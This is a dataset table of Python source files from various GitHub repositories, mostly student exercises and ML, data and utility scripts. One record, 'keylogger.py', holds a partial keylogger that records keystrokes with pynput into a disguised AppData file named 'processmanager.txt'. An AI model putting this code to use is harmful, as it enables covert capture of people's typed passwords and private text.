blob_id large_string | repo_name large_string | path large_string | src_encoding large_string | length_bytes int64 | score float64 | int_score int64 | detected_licenses large list | license_type large_string | text string | download_success bool |
|---|---|---|---|---|---|---|---|---|---|---|
1870801731b9b0c6572f93ed7e4ed6049a281071 | JoannaSwiderska/PycharmProjects | /day4/counts.py | UTF-8 | 579 | 3.484375 | 3 | [] | no_license | numbers = input('Podaj strat, stop i step (w formacie START,STOP,STEP): ')
while int(numbers.split(",")[0]) >= int(numbers.split(",")[1]):
print('start ma byc mniejszy niz stop')
numbers = input('Podaj strat, stop i step (w formacie START,STOP,STEP): ')
start = int(numbers.split(",")[0])
stop = int(numbers.sp... | true |
291bab7aabc5df432aeec4d450b808643d4044b8 | dpgaspar/Flask-AppBuilder | /examples/quickcharts/app/data.py | UTF-8 | 1,646 | 2.53125 | 3 | [
"BSD-3-Clause"
] | permissive | import datetime
import logging
import random
from . import db
from .models import Country, CountryStats, PoliticalType
log = logging.getLogger(__name__)
def fill_data():
countries = [
"Portugal",
"Germany",
"Spain",
"France",
"USA",
"China",
"Russia",
... | true |
6810ac5cd971d22e80cbf75e8ce9b30197cd5f66 | eds-uga/csci8360-p2-tooYoungTooSimple | /featureEng/misc/vSmallScript.py | UTF-8 | 4,633 | 2.96875 | 3 | [] | no_license | from pyspark import SparkContext, SparkConf
from pyspark.mllib.regression import LabeledPoint
from pyspark.mllib.classification import LogisticRegressionWithSGD
from pyspark.mllib.tree import DecisionTree
from sys import argv
import numpy as np
import re
import urllib2
import csv
from nltk.util import ngrams
import ite... | true |
dfe983ebc614425d3e4adfa690b07c8b57a1d6e0 | hjungj21o/Interview-DS-A | /lc_bloomberg.py/33_search_in_rotated_sorted_arr.py | UTF-8 | 1,363 | 3.96875 | 4 | [] | no_license | class Solution:
def search(self, nums: List[int], target: int) -> int:
l, r = 0, len(nums) - 1
while l <= r:
mid = (l + r) // 2
if nums[mid] == target:
return mid
elif nums[mid] >= nums[l]:
if nums[l] <= target < nums[mid]:
... | true |
c733a847520c26f9dbb646b8a79b86ee6f52b05d | runfalk/pybotvac | /pybotvac/robot_remote.py | UTF-8 | 6,705 | 2.609375 | 3 | [
"BSD-3-Clause"
] | permissive | import itertools
class CapabilityProxy(object):
def __init__(self, obj, capabilities, handler):
self.obj = obj
self.capabilities = capabilities
self.handler = handler
@property
def is_supported(self):
return bool(self.handler)
def __call__(self, *args, **kwargs):
... | true |
bda3068d9d1d2fe1ff271df453dd3dc55e7a1923 | deepakbairagi/Python3Challenges | /challenge1.py | UTF-8 | 235 | 4.15625 | 4 | [] | no_license | #!/usr/bin/python3
import datetime
name=input("Enter Your Name ")
age=int(input("Enter Your Age "))
curr_year=(datetime.datetime.now()).year
year=95+curr_year-age
print("When you turn your age is 95 than that year will be ",year) | true |
c156841049ce0798c548b36623d6a178abb2581c | nathanvmag/CriptoUFRJ | /trab1/118038131.py | UTF-8 | 115 | 3.3125 | 3 | [] | no_license | cont= input()
i = 0
while (i<cont):
n1,n2 = input()
print n1+n2, n1-n2, n1*n2,n1//n2,n1%n2
print "---"
i+=1
| true |
0d1b8963839f2ebae30c294a2f2748a0453e4d89 | Nikhil2408/GUVI-Programs | /B_S1_3.py | UTF-8 | 172 | 3.734375 | 4 | [] | no_license | char=input("Enter the character:").lower()
if char in 'aeiou':
print("Vowels")
elif char in 'bcdfghjklmnpqrstvwxyz':
print("Consonants")
else:
print("Invalid")
| true |
8e570529f391e02d93ccc016812670e6225e3a48 | heecheol1508/algorithm-problem | /_swea/d2/2007.py | UTF-8 | 378 | 3.546875 | 4 | [] | no_license | def pattern(string_list):
set_list = list(set(string_list))
if 4 <= len(set_list) <= 10:
for length in range(len(set_list, 11)):
check_list = string_list[0, length]
check_range = string_list[0, length * 3]
str_list = list(input())
if len(str_list) == 30:
pattern(str... | true |
264cca9cd2453546ab0c13ff49a29a8f26ac02d5 | aibear/arcpy_metadata | /tests/test_metadata_editor.py | UTF-8 | 4,495 | 2.546875 | 3 | [] | no_license | from __future__ import print_function
__author__ = 'nickrsan'
import datetime
import unittest
import os
import sys
import shutil
import tempfile
import arcpy
import gc
#allow to test arcpy_metadata even when it is not installed as module
import inspect
currentdir = os.path.dirname(os.path.abspath(inspect.getfile(ins... | true |
a341a5cef5cbafb3052ee970fee97a9c39fe9ac1 | elizabethdaly/dataRepresentation | /week03-webScraping/PY04-testCSV.py | UTF-8 | 470 | 3.28125 | 3 | [] | no_license | ## Elizabeth Daly
## Data Representation Lab 3 PY04-testCSV.py
# Import csv package.
import csv
# Open/create file in write mode.
employee_file = open('employee_file.csv', mode='w')
# set up pars.
employee_writer = csv.writer(employee_file, delimiter=',', quotechar='"', quoting=csv.QUOTE_MINIMAL)
# Write to the fil... | true |
ab95efdb7a389db62a9a94459dc1c7ca6c52d5d7 | iamthedkr/AIVN-Course-2019 | /Week6/1. Đọc và xử lý dữ liệu dùng Numpy/3.Fashion-MNIST(image-binary-data)/2.Read-Fashion-MNIST-dataset.py | UTF-8 | 1,238 | 2.890625 | 3 | [] | no_license | import os
import gzip
import numpy as np
import matplotlib.pyplot as plt
def load_fashion_mnist(path, kind='train'):
"""Load fashion_MNIST data from `path`"""
labels_path = os.path.join(path, '%s-labels-idx1-ubyte.gz' % kind)
images_path = os.path.join(path, '%s-images-idx3-ubyte.gz' % kind)
with gzip... | true |
fb5b8e814e06aa06e0d44560221d1e5eaea71180 | pruthviuvss/Amazon-Reviews-on-Baby-Products. | /script_DecisionTrees.py | UTF-8 | 5,381 | 3.09375 | 3 | [] | no_license | #importing all the libraries needed,
import pandas as pd
import numpy as np
import nltk
import string
import matplotlib.pyplot as plt
import numpy as np
import scipy.sparse as sparse
from nltk.corpus import stopwords
from sklearn.feature_extraction.text import TfidfTransformer
from sklearn.feature_extraction.... | true |
5b2dc2da1bec50fc0dd67929d5ddbed24f0f8600 | shoheihagiwara/nlp100 | /lib/utilities.py | UTF-8 | 403 | 2.765625 | 3 | [] | no_license | #!/usr/bin/env python
# -*- encoding: utf-8 -*-
from sklearn.feature_extraction.text import CountVectorizer
import pandas as pd
def make_bag_of_words(s: pd.Series, vocabulary=None):
vectorizer = CountVectorizer(vocabulary=vocabulary)
df_X = pd.DataFrame(vectorizer.fit_transform(s).toarray())
df_X.columns ... | true |
bed24d98396e661720d33971e57169efc698bf0a | Hunter-Dinan/cp1404practicals | /prac_08/silver_service_taxi_test.py | UTF-8 | 406 | 3.25 | 3 | [] | no_license | """Test program for SilverServiceTaxi class."""
from silver_service_taxi import SilverServiceTaxi
hummer = SilverServiceTaxi('Hummer', 200, 4)
print(hummer)
silver_service_taxi_1 = SilverServiceTaxi('Silver Service Taxi', 18, 2)
silver_service_taxi_1.drive(18)
print(silver_service_taxi_1)
fare = silver_service_taxi_... | true |
e5d12fa9ed60ec94228e0c614fb778f3fd22c7d7 | Warrab/Python | /Project Euler. Multiples of 3 and 5.py | UTF-8 | 912 | 3.109375 | 3 | [] | no_license | # from i in range(0, 10, 3)
Num = 10
L = list(range(0, Num))
L3 = L[::3]
L5 = L[::5]
L3s = sum(L3)
L5s = sum(L5)
LSum = L3s + L5s
print('L', L, sep='\t\t')
print('L3', L3, sep='\t\t')
print('L5', L5, sep='\t\t')
print('L3s', L3s, sep='\t\t')
print('L5s', L5s, sep='\t\t')
print('LSum', LSum, sep='\t')
print()
Sum = 0
... | true |
3aecf58e071247f30e3c90b99375109d6778497b | elinavis/robot_project | /experiment_flow.py | UTF-8 | 11,680 | 2.59375 | 3 | [] | no_license | from nao_ros import *
from pygame import mixer
class ExpFlow():
def __init__(self, _robot_ip=str):
self.root_nao = NaoNode(_robot_ip)
self.left = "left"
self.right = "right"
self.center = "center"
self.directions = {
"A": self.right,
"C": self.left,
... | true |
50cc0f16bdb644c647b67430053f60e3ecd91c9a | xystar2012/vsCodes | /PyCodes/PyQt5/basicdataType/generator.py | UTF-8 | 1,387 | 3.5625 | 4 | [] | no_license | # -*- coding: UTF-8 -*-
from random import randint
import random
# from twisted.internet import protocol, reactor
# from SocketServer import TCPServer as TCP, StreamRequestHandler as SRH
print ("choice([1, 2, 3, 5, 9]) : ", random.choice([1, 2, 3, 5, 9]))
print ("choice('A String') : ", random.choice('A String'))
de... | true |
29ff9636ccfff90505e42f42c8af3980e8070bd5 | sillyemperor/langstudy | /python/py3study/async-spider/counter.py | UTF-8 | 323 | 3.453125 | 3 | [
"MIT"
] | permissive | import time
# 计数器,超过10秒计算并打印平均值
def counter():
count = 0
tt = time.time()
while True:
n = yield
count += 1
dlt = time.time() - tt
if dlt > 10:
ratio = count/dlt
print(ratio)
count = 0
tt = time.time() | true |
af47f40daef2adf82447ed436ddaac964d3cedf5 | fabiannoda/PythonTutorial | /Modulos y Paquetes/Calculos/calculos_gene.py | UTF-8 | 256 | 3.453125 | 3 | [] | no_license | def sumar(num1, num2):
print(str(num1+num2))
def restar(num1, num2):
print(str(num1-num2))
def multi(num1, num2):
print(str(num1*num2))
def potencia(base, expo):
print(str(base**expo))
def redondear(num):
print(str(round(num)))
| true |
13253fa6f855ee0bda85a69ed124871fc62481a7 | potatoone/Python3Spider | /python/.idea/exam/JumpFloor.py | UTF-8 | 267 | 3.640625 | 4 | [] | no_license | #Created by TTT
''''
一只青蛙一次可以跳上1级台阶,也可以跳上2级。求该青蛙跳上一个n级的台阶总共有多少种跳法。
'''
def function(n):
if n==1 or n==2:
return n
return function(n-2)+function(n-1)
print(function(5)) | true |
141898c18246917a9cc961540081549a318474d9 | aaronzguan/CNNforMNIST | /without_visulization/lossFunction.py | UTF-8 | 1,538 | 3.46875 | 3 | [
"MIT"
] | permissive | import tensorflow as tf
from CNNLayers import y_, y_conv
# Define the error function / Loss function
# Loss indicates how bad the model's prediction was on a single example
# so we try to minimize the loss while training across all the examples
# Our loss function is the cross-entropy between the target and the softma... | true |
22674a4edd812899f722ef89c9954e2c02774433 | E5PRO5-2020/meter_system | /test/test_DriverClass.py | UTF-8 | 9,631 | 2.6875 | 3 | [] | no_license | """
Tests for IM871-A driver.
Uses mocked tests when not on Gateway.
On Gateway, tests run using hardware peripheral.
Future dev.:
- Try spec=True to investigate if MagicMock can correctly spec the patched classes and functions.
- E.g. when patching serial.Serial, the MagicMock should appear to have all relevant meth... | true |
540ddc967daf8451f3c686a963000ad9aec87149 | datamusee/experimentations | /Preprocessing/Data_Pretraitement.py | UTF-8 | 15,050 | 2.5625 | 3 | [] | no_license | import nltk
import json
import re
import pickle
import os
import string
from SPARQLWrapper import SPARQLWrapper, POST, DIGEST, BASIC, JSON
import Parameters as parameters
from yandex.Translater import Translater
'''Sauvegarde les donnees json
Arguments: donnees a sauvegarder et le nom du fichier
Returns: None'''
de... | true |
6eca0826bffbad997d5daee8cb5dc7f255537a47 | lululeta2014/mihaib | /forge/old/prjeuler/p205.py | UTF-8 | 1,182 | 3.296875 | 3 | [] | no_license | from fractions import Fraction
def inc_roll(roll, max_value):
t = 1
for i in range(len(roll)):
s = roll[-1 - i] + t
roll[-1 - i] = s % max_value
t = s // max_value
if t == 0:
break
def get_count(dice_count, faces_count):
probab = [0 for i in range(faces_count * ... | true |
98e1e52d337f4b1a6ba587fbf7c0cde2e7ba651e | D3epDiv3r/Python-keylogger | /keylogger.py | UTF-8 | 1,194 | 2.921875 | 3 | [] | no_license | import os
# use - pip3 install pynput - to install pynput
# Read more on pynput for more use cases
from pynput.keyboard import Listener
keys = []
count = 0
# Store in AppData hidden folder on windows
path = os.environ['appdata'] + '\\processmanager.txt'
# Store in Linux (we can thus look for a hidden folder
# On Linux... | true |
d0fa51ab3dc0420a9a63703ff90a56c749addabb | Xyziel/Evolutionary-Algorithm | /oe/com/elite/ElitismStrategy.py | UTF-8 | 793 | 3.203125 | 3 | [] | no_license | from oe.com.models import Population
class ElitismStrategy:
def __init__(self, n: int):
self.__n = n
def choose_n_best(self, population: Population, values: list, maximum: bool) -> Population:
i = 0
selected_parents = Population()
value_map = {}
values_copy = values.c... | true |
127d9dfd5ca51edfc6f9076ee44615dde20b36d2 | plison/neuralconv | /incremental/training.py | UTF-8 | 11,657 | 2.921875 | 3 | [] | no_license | import sys,os,re,time, pickle, sqlite3, random
import numpy as np
import pandas as pd
from nltk.stem.snowball import SnowballStemmer
from sklearn.model_selection import KFold, LeaveOneOut
import utils
"""Classes and methods for training a neural resolution model on the
TAKE dataset. The trained model takes a p... | true |
a3db370aa22444ee38f9dc9acc3d7aa94cb65743 | vsham20/hackerrank | /dot_product.py | UTF-8 | 945 | 3.984375 | 4 | [] | no_license | __author__ = 'vaishali'
"""
Problem Statement
dot
The dot tool returns the dot product of two arrays.
import numpy
A = numpy.array([ 1, 2 ])
B = numpy.array([ 3, 4 ])
print numpy.dot(A, B) #Output : 11
cross
The cross tool returns the cross product of two arrays.
import numpy
A = numpy.array([ 1, 2 ])
B ... | true |
0a864cbd3a6221113cee798c26f7c0670d560a2a | JFChen3/langevin_model | /model.py | UTF-8 | 7,197 | 2.765625 | 3 | [] | no_license | """
Holds class and methods for a model for langevin dynamics
"""
import ConfigParser
import os
import numpy as np
import shutil
######### MAIN CLASS #########
class langevin_model(object):
def __init__(self, name):
#initialize the model
config = ConfigParser.SafeConfigParser(allow_no_value=True)
... | true |
472319ce1c8a964b4b21957a4883a3967829293e | tanvi1331/Python | /temp.py | UTF-8 | 919 | 2.75 | 3 | [] | no_license | # -*- coding: utf-8 -*-
"""
Spyder Editor
This is a temporary script file.
"""
import json
queryjson = []
counter=0;
in_file_path='/home/tanvi/Downloads/Tanvi_Query_1.json' # Change me!
with open(in_file_path,'r') as in_json_file:
# Read the file and convert it to a dictionary
json_obj = json.load(... | true |
9414d9f6708c844e6bba5581c62ff7d4db03ac03 | kadisin/Aplikacja_Trojboj_silowy | /Wykresy.py | UTF-8 | 480 | 2.609375 | 3 | [] | no_license | import pymysql
import pylab
import datetime
import matplotlib.pyplot as plt
def Wykres_Liniowy(argumenty,wartosci):
#argumenty = krotka_arg_wart[0]
#wartosci = krotka_arg_wart[1]
fig = plt.figure()
ax = fig.add_axes([0.1,0.2,0.8,0.8])
ax.bar(argumenty,wartosci)
#plt.show()
plt.plot(argum... | true |
20b3f1fc43ac549c7a38138a0b57494f1a07d975 | Q10Viking/hackerrank | /python/Sets/set union/Solutions.py | UTF-8 | 171 | 2.859375 | 3 | [] | no_license | # Enter your code here. Read input from STDIN. Print output to STDOUT
a,b,c,d = (input() for _ in range(4))
b = set(b.split())
d = set(d.split())
print(len(b.union(d))) | true |
c5cd8cd49ba07c9154c31488365788968aab3581 | elezine/ML_Discharge_Prediction | /Sarah's_Code/rf_hay.py | UTF-8 | 6,115 | 2.921875 | 3 | [] | no_license | import numpy as np
import pandas as pd
import matplotlib.pyplot as plt
### Import train and test splits
# Holdout year will be used for final testing once models are done
# Train
hay_train = pd.read_csv("C:/Users/sarah/Documents/GitHub/hydro_ann/hay_train.csv")
# Test
hay_val = pd.read_csv("C:/Users/sarah/Documents/... | true |
5e712fbca5456020b0c438604f131105678e618c | amorimcode/puccode | /Algoritmos de programaçao/24-05-2021/numerosint.py | UTF-8 | 200 | 3.140625 | 3 | [] | no_license | def quantosElementosSimples(lista):
qts = 0
for elemento in lista:
if type(elemento) is not lista
qts += 1
else:
qnts += quantosElementosSimples(elemento)
| true |
61d749ce3c187f593ff816b51cccc40413eb9868 | Mrinmoy-Aus/Create_Read_Delete | /crud.py | UTF-8 | 9,720 | 2.921875 | 3 | [] | no_license | import xlsxwriter
import openpyxl
import numpy as np
import pandas as pd
import tkinter as tk
from tkinter.ttk import *
from tkinter import *
from tkinter import messagebox
from tkinter import filedialog as fd
from tkinter.filedialog import asksaveasfile
import time
root = tk.Tk()
root.title("Create Read & Delete")... | true |
f86464e634b933f295b9ac4d1870da4065b58d0b | davidnikolic98/ml-pipeline-vcs | /ml_flow_manager/ml_flow_manager/core.py | UTF-8 | 3,759 | 3.03125 | 3 | [] | no_license | import json
import re
class DataHolder:
def __init__(self):
self.__data = {}
def add(self, key, data):
self.__data[key] = data
def remove(self, key):
del self.__data[key]
def clear_all(self):
self.__data.clear()
def get_keys(self):
return self.__data.key... | true |
5d3b2f2c550ee20140c703913d291711ccbaf9c9 | powerseed/item-based-collaborative-filtering | /SkipTheDishes_Data/source/train_csv_transform.py | UTF-8 | 1,257 | 2.875 | 3 | [] | no_license | # -*- coding: utf-8 -*-
import pandas as pd
import numpy as np
complex_df = pd.read_csv('train_orders_data_with_targets.csv')
complex_df = complex_df.fillna(0)
s_df = complex_df[['order_id','datetime','food_prep_time_minutes']]
s_df['datetime'] = pd.to_datetime(s_df['datetime'])
s_df['day_of_week'] = s_df['datetime'].d... | true |
2db15baf7de47ff6f15292a4b2f1a4e73f7d5b74 | harshshredding/Convolutional-Composer-Classification | /lib/media.py | UTF-8 | 5,489 | 2.71875 | 3 | [] | no_license | import matplotlib
import matplotlib.pyplot as plt
import numpy as np
colors = [(1, 1, 1), (215/255., 206/255., 223/255.), (141/255., 106/255., 177/255.)]
cm = matplotlib.colors.LinearSegmentedColormap.from_list('my_cmap', colors, N=3)
white = matplotlib.colors.colorConverter.to_rgba('white',alpha=0.0)
purple = [white... | true |
702bdedf0b565ff74312b4b9183cb037f7b844f5 | thallesgomes/Meus-Scripts-em-Python | /Script 001 - Guessing Game.py | UTF-8 | 3,693 | 3.828125 | 4 | [
"MIT"
] | permissive | print("\n {:=^125} \n".format(" | GUESSING GAME | "))
from random import randint
from time import sleep
again = ''
guesses = 1
while 'Yy' not in again:
difficulty = int(input("Before we continue, i need to know what difficulty do you want to play.\n\n"
"{}\n"
... | true |
79b633ce3e4845aac0b51f3b031a0203784a329e | soge26/LeetCode | /Easy/7 - Reverse Integer.py | UTF-8 | 413 | 3.359375 | 3 | [] | no_license | #Method 1:
class Solution:
def reverse(self, x):
"""
:type x: int
:rtype: int
"""
y=abs(x)
z=[i for i in str(y)]
z=z[::-1]
a=int(''.join(z))
if x<0:
a*=-1
if a<-2**31 or a>2**31:
retu... | true |
0f9e92684967c79d7ab85a4ea036221ef2d287f0 | hersh-kat/stocky-trading-chatbot | /ai/rasa/rasa_nlu/convert.py | UTF-8 | 1,457 | 2.515625 | 3 | [
"MIT"
] | permissive | from __future__ import unicode_literals
from __future__ import print_function
from __future__ import division
from __future__ import absolute_import
import argparse
import io
from rasa_nlu.converters import load_data
from rasa_nlu.utils import write_to_file
def create_argparser():
parser = argparse.ArgumentParse... | true |
8ead5441431bbbfc6405cb5c0ebffa23950c6d96 | defgsus/thegame | /lib/world/Tileset.py | UTF-8 | 4,976 | 2.90625 | 3 | [
"MIT"
] | permissive |
class Tileset:
_loaded_sets = dict()
@classmethod
def from_image(cls, tile_width, tile_height, filename) -> "Tileset":
key = (tile_width, tile_height, filename)
if key not in cls._loaded_sets:
ts = Tileset(tile_width, tile_height)
ts.load(filename)
cls... | true |
241ee66a289f7f443b5b782722701890ab1bae0d | UmbWill/SocketPython | /SocketServer.py | UTF-8 | 437 | 2.625 | 3 | [] | no_license | import socket
HOST = ''
PORT = 65435
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind((HOST, PORT))
s.listen(1)
while True:
conn, addr = s.accept()
print('Connected by', addr)
data = ""
while True:
data = conn.recv(1024)
print(d... | true |
32f948afe869687a18a526423f288d3394b42812 | peithous/thesis-1 | /scripts/filter-syneval.py | UTF-8 | 2,456 | 2.625 | 3 | [] | no_license | """
Filter out all sentences with UNK tokens from the syneval dataset
"""
import os
import json
SYN_DIR = os.path.join('data', 'syneval')
IN_DIR = os.path.join(SYN_DIR, 'data', 'converted')
OUT_DIR = os.path.join(SYN_DIR, 'data', 'filtered')
# supervised vocabulary used by all generative models
VOCAB_PATH = os.path.... | true |
f0097891bf49db866eea871d594bba10917f1095 | pillig/back-bot | /HelperFunctions/backFileHelpers.py | UTF-8 | 430 | 2.78125 | 3 | [
"MIT"
] | permissive | from BotGlobals import BACK_FILE_DIR, BACK_FILE_DICT
from os.path import join
def is_a_back_file_with_rarity(rarity, back_file_name):
try:
return join(BACK_FILE_DIR, rarity, back_file_name) in BACK_FILE_DICT[rarity]
except KeyError:
return False
def get_back_file_rarity(back_file_name):
fo... | true |
700b46b8a028f509ab12dd3552bd3322a0da9c13 | algharrash/saudidevorg | /day060_061.py | UTF-8 | 236 | 3.375 | 3 | [] | no_license | #python week 9 challenge
import json
import re
days = ("Saturday", "Sunday", "Monday", "Tuesday", "Wednesday", "Thursday", "Friday")
print(json.dumps(days))
myStr = "data is the new oil"
x = re.search("data", myStr)
print(x.span())
| true |
8dcb909cfcc29deec417506c3a9e66b921dffda0 | rusalinastaneva/Python-Advanced | /01. Lists as Stacks and Queues/08. Crossroads.py | UTF-8 | 1,142 | 3.515625 | 4 | [] | no_license | from _collections import deque
duration_green = int(input())
window = int(input())
line = input()
cars = deque()
cars_counter = 0
crashed = False
while line != "END":
if line == "green":
if cars:
current_car = cars.popleft()
left_seconds = duration_green - len(current_car)
... | true |
e769a11c600cf405bfd05fdf0f7265e43c4e0745 | NerdJain/Python | /first.py | UTF-8 | 604 | 4.03125 | 4 | [] | no_license | # x = 5
# if x > 4:
# print("hello")
# print("world")
# x = 5
# if x <= 1:
# print("hey")
# if 41 > 41:
# print("Yes")
# else:
# print("No")
largest = None
smallest = None
while True:
num = input("Enter a number: ")
if num == 'done':
break
try:
num = floa... | true |
289939a584cf242d76fecc5b3c7b95730e87f690 | nikopa96/iti0210-ai | /EX02/heuristic_search.py | UTF-8 | 838 | 3.265625 | 3 | [] | no_license | from queue import PriorityQueue
class HeuristicSearch:
@staticmethod
def h(cell, goal):
cell_x = cell[0]
cell_y = cell[1]
goal_x = goal[0]
goal_y = goal[1]
return abs(cell_x - goal_x) + abs(cell_y - goal_y)
@staticmethod
def explore_map(start, goal, lava_map)... | true |
5f530ebfc38b06de732ac50b0d8c5fd9296e77af | prabin4456/python-basic-command | /name print.py | UTF-8 | 78 | 3.609375 | 4 | [] | no_license | a = input('enter first name: ')
b = input('enter 2nd name: ')
c = a+b
print(c) | true |
bb5577c1330f367bb00ab68e1bda579cb05cdd3c | tomreddle/vip3test | /第三天.py | UTF-8 | 769 | 2.515625 | 3 | [] | no_license | import requests
# http://suggest.taobao.com/sug?code=utf-8&q=商品关键字&callback=cb
# urlstr = 'https://blog.csdn.net/rainshine1190'
# urlstr1 = 'https://www.wanandroid.com/article/query'
# urlstr2 = 'https://www.baidu.com'
urlstr = 'http://suggest.taobao.com/sug'
# 参数变量约定为payload
# payload = {'k': 'Android'}
r = requests.... | true |
b23d9e93b39e18e2cc03bdce005cc7ead7669b6f | pombredanne/fabric-ovirt | /test/fabric_ovirt/lib/test_remote_files.py | UTF-8 | 10,895 | 2.625 | 3 | [] | no_license | #!/usr/bin/env python
"""test_remote_files.py - Tests for fabric_ovirt.lib.remote_files
"""
from mock import MagicMock, NonCallableMagicMock, patch, call
import pytest
from itertools import izip
from urlparse import urljoin
from operator import eq, lt, gt, ne
from random import randrange
from hashlib import md5, sha256... | true |
6c04edc5474a15fdfe686c8c2a0400250b87628a | JimmyBlundell/ramen-stuff | /data_config.py | UTF-8 | 3,107 | 3.265625 | 3 | [] | no_license | import csv as csv
import numpy as np
from collections import Counter
def configure_csv(oldFile, training_data, test_data, validation_data):
oldFile = "ramen-ratings.csv"
training_data = "training-data.csv"
test_data = "test-data.csv"
validation_data = "validation-data.csv"
reader = csv.reader(ope... | true |
9bd477a1a46bb26880319617e3fafdc28a72f7f5 | mindgitrwx/pyrobot3 | /brain/art.py | UTF-8 | 15,959 | 3.09375 | 3 | [] | no_license | """
Adaptive Resonance Theory, Fuzzy ART and ARTMap classes.
Based on Matlab code by Aaron Garrett and Python code by Terry Stewart
at http://www.carleton.ca/ics/courses/cgsc5001/index_old.html
Author: D.S. Blank <dblank@cs.brynmawr.edu>
"""
from functools import reduce
## Current limitations:
# - ARTMap supervisor i... | true |
b3250051f3476322d595121e7d4c9ec8e50f2c0b | arlanscort/modelos | /miscelanea/stuff/sacramento/SAC-SMA/Angelo-Fortran2Python/modelos_hidrologicos.py | UTF-8 | 21,407 | 2.84375 | 3 | [] | no_license | def SACSMA(et0, cmb, qin, prm, area, q0=None):
""" Modelo chuva-vazão Sacramento Soil Moisture Accouting.
Modelo de propagação em canal Cascata de reservatórios conceituais lineares
Entradas:
et0 = lista com os dados de evapotranspiração potencial (= et. de referência) [mm em 1 hora];
cmb = lis... | true |
fdedff77027dd3d29570a27e593df854199267f4 | yashpatel5400/sudosolve | /digit.py | UTF-8 | 2,942 | 2.953125 | 3 | [
"MIT"
] | permissive | """
__author__ = Yash Patel
__name__ = digit.py
__description__ = Creates and trains momdel for recognizing digits (MNIST)
"""
import os
import cv2
import keras
import numpy as np
from keras.datasets import mnist
from keras.models import Sequential
from keras.layers import Dense, Dropout, Flatten
fr... | true |
0ec9268fe587b3e0013bbe699149824427d7b342 | Midataur/shroombois | /shrooms/picode/main.py | UTF-8 | 1,260 | 2.5625 | 3 | [] | no_license | import requests
import Adafruit_DHT
import time
import settings
import pytz
import datetime
def til_interval(timestamp,interv):
return interv-(timestamp%interv)
def average(data):
return int(sum(data)/len(data))
def utc():
time_utc = pytz.utc.localize(datetime.datetime.utcnow()) ... | true |
6350e10279970611dc7596725282d31edb2648a1 | lacretelle/beta_bootcamp_python | /day00/ex05/kata03.py | UTF-8 | 108 | 2.953125 | 3 | [] | no_license | phrase = "The right format"
i = len(phrase)
while i < 42:
print ("-", end='')
i += 1
print (phrase)
| true |
ce367f4275cfefb27bc5325b32e2b7c2c4879e24 | xenonrazels/Python_stuffs | /postgrespython.py | UTF-8 | 333 | 2.65625 | 3 | [] | no_license | import psycopg2
def connect():
try:
conn=psycopg2.connect(user="aacreetiee",password="aaku",database="kct",host="localhost",port=5432)
print("The database is connected")
except psycopg2.Error as e:
print(e)
finally:
conn.close()
if __name__=='__main__':
co... | true |
8bbbfcb0bb0174e0ef289deea2231f04756a2efb | Smakson/CompetitiveProgrammingAndCTF | /Codeforces/496B/main.py | UTF-8 | 335 | 3.140625 | 3 | [] | no_license | # -*- coding: utf-8 -*-
"""
Created on Tue Jul 10 21:58:48 2018
@author: Miha
"""
s = input()
t = input()
moves = 0
ls = len(s)
lt = len(t)
ml = min(ls, lt)
i = 1
while i <= ml and s[-i] == t[-i]:
i += 1
i -= 1
if i == 0:
g = ''
else:
g = s[-i:]
lg = len(g)
moves = ls + lt - 2*lg
... | true |
d22e549607fe767e40f7da93e2a75ffb23515af3 | IEP/submissions | /pandaoj/INC2014A.py | UTF-8 | 280 | 2.953125 | 3 | [] | no_license | #!/usr/bin/env python3
import math
for T in range(1, int(input()) + 1):
N = int(input())
d = [int(input()) for i in range(N)]
dataSize = math.ceil(sum(d)/1000)
space = int(2 ** math.ceil(math.log(dataSize, 2)))
print('Case #{}: {}GB'.format(T, max(16, space))) | true |
1ea464460fecba1240662689bdea5ec9980c9704 | ucla-pls/jbx | /expr/analyses/reflection/reflection-comp.py | UTF-8 | 1,111 | 2.953125 | 3 | [
"MIT"
] | permissive | import os
def get_lines(path, filename):
try:
with open(os.path.join(path, filename), "r") as f:
return set(map(lambda x: x.strip(), f.readlines()))
except:
return set()
outdir = os.environ["out"]
benchmark = os.environ["name"]
reflection_callers = lambda file: get_lines(os.environ... | true |
4d64648e5c5610b610688e97ea67ab049b339a35 | smokinjoe/resume-api | /resume_api/models/technical_experience.py | UTF-8 | 536 | 2.515625 | 3 | [] | no_license | from .base import db, BaseMixin, DictSerializable
__all__ = ['TechnicalExperience']
class TechnicalExperience(BaseMixin, db.Model, DictSerializable):
__tablename__ = 'technical_experience'
title = db.Column(db.Unicode(255), nullable=False)
items = db.Column(db.PickleType(), nullable=False)
@property
... | true |
33f4bd152ab7335792b32a09a3a9869e5f178191 | assusdan/PADS | /stepik/223.py | UTF-8 | 376 | 3.53125 | 4 | [] | no_license | def fib_mod(n, m):
fibs = [0, 1, 1]
while len(fibs) < n + 1 and not(fibs[-2] == 0 and fibs[-1] == 1):
fibs.append((fibs[-2] + fibs[-1]) % m)
if len(fibs) < n + 1:
fibs.pop()
fibs.pop()
return fibs[n%len(fibs)]
def main():
n, m = map(int, input().split())
print... | true |
992e9b5f3db9c7f659e6bd949025ebb76c2d1390 | KYKhaw428/webScrape-PY | /asiaBuilderSplitlines.py | UTF-8 | 1,770 | 3.4375 | 3 | [] | no_license | ############################ IMPORTANT NOTICE ######################################
#### 1) This code can only be used for paid listing data scraped from asiabuilder website, \n
#### please seperate out between the paid and free listing data before running this code.
#### 2) Save asia builder file as xlsx format fi... | true |
a413fb2ddfc3bf168b0ae4e0700211826c615065 | geodatenprojekt/GeoLeo | /tests/test_pointcloud.py | UTF-8 | 1,033 | 2.9375 | 3 | [] | no_license | import unittest
import os
import os.path
from geoleo import pointcloud
class TestPointCloud(unittest.TestCase):
"""Test the method of pointCloud
@author Valentin Hertel
"""
def setUp(self):
pass
def test_point_cloud_file_io_read_file_no_file(self):
"""Test the readFile method.... | true |
0b31b52e826e5c53f7bb4708b442f7efe696e217 | elionick/OPP-Final-Project | /getFunctions.py | UTF-8 | 1,698 | 3.203125 | 3 | [] | no_license | import datetime
# gets a choice input
def getChoiceInput(user_input):
if user_input not in ["q", "Q"]:
return int(user_input)
else:
return user_input
def getErrorMessage(error_code, custom_message = ''):
errorMessages = {
"choice" : "Error! Please enter a valid option.",
"name" : "E... | true |
70773d084733a83171335dd77f521d0e621a85e7 | bwoodske/Yahtzee | /calculations.py | UTF-8 | 1,787 | 3.578125 | 4 | [] | no_license | from random import randrange
from score_card import *
class dice():
def roll(current_dice):
while len(current_dice) != 5:
current_dice.append(randrange(1,7))
current_dice.sort()
return current_dice
def turn(options, score):
current_dice = []
